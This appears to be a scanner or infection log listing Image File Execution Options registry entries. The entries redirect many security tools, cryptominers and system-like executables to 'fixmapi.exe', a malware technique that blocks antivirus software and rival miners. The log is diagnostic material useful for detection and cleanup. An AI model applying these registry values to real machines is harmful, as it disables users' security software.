[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SQLSystem.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HS_Svc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HitmanPro x64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsynchost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ClearLock.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Intelme.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchoct.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mineos.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSSysCtl.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AES.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Drop Box Update.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rebel Botnet.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prkiller.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vnchosts.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeCP.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winhost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zlclient.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysdisk.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsmon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchosd.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VIRITSVC.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MONITOR.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MtxHotPlugService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\frog.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\network-update.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msapp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscce.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SmadavProtect32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinHide.SB.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\host32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mworker.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicroMiner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rfusclient.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rkfree.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vercls.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Fiddlere.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iddlen.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\devencl.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qpis.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\boost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\praetorian.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\seth.exe] 'debugger' = 'drmsvc.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AVX_AES.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccsce.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reminder.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\updater.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USBSRService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wahiver.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wasp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\waspwing.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wizard.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WMIC.exe.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\debugger] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fixmapi.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SearchProtocolHos.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wahiver64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows nt.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nusb3mon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xDedicLogCleaner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mine_mx.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemF0D7.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostXmrig.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spsvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vmms.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mqtgcvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srvan.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\update-api.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-app.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQExternal.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dsrviml.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WUDFHost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\redsurf.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ROMFUSClient.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\eset_antivirus.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system64] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qimlsrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-update.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\network-app.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\update-app.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DrWeb.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsb.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OOSU10.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windir.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mine_cp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Interl thesaurus service.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VC90.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHActiveSecurity.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CrashService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mouse Lock_v22.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsmosee.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauclt.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysdown.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsproflt.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrsst.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-active.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemHost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UI0detect.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cbVSCService11.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cbService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spywareblaster.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minergate-cli.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mscvin.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xngiesa.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbox.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemIDLE.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AVX2_AES.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Trjscan.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTservice.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTgui.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTcli.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SCTCleanupService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\starter_avp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Client Server Runtime Procces.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmr-stak-cpu.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccminer-x64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\StartUpTool_w.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchosts.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\servicess.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TibMounterMonitor.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrueImageMonitor.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brosec.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmrg.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskManagerService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemDriveHost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VVUDFHost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\schedhlp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcn.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmrig.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Conime.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauser.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCleaner64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCleaner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winidow.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSetting.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-api.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KSP.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\volumedisk.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Defender.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrsc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DTLEP.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sgbider.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Logo.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetGoodBar.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wiswqcs.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\THGuard.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hmac.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ytpumpchrome.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\StSess.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\V3Lite.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccSvcHst.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PAUI.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zpgiupy.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TeaTimer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ytbrowser.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuard.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchobst.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systrays.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vcsvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlock.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Vip Slow.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchos.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Systms.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Systmss.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\V3SP.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rutserv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QuikProtect.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QpMonitor.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msbtce.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smBootTime.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UninstallMonitor.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nsbu.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LoadStat.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauclm.exe] 'debugger' = 'fixmapi.exe'
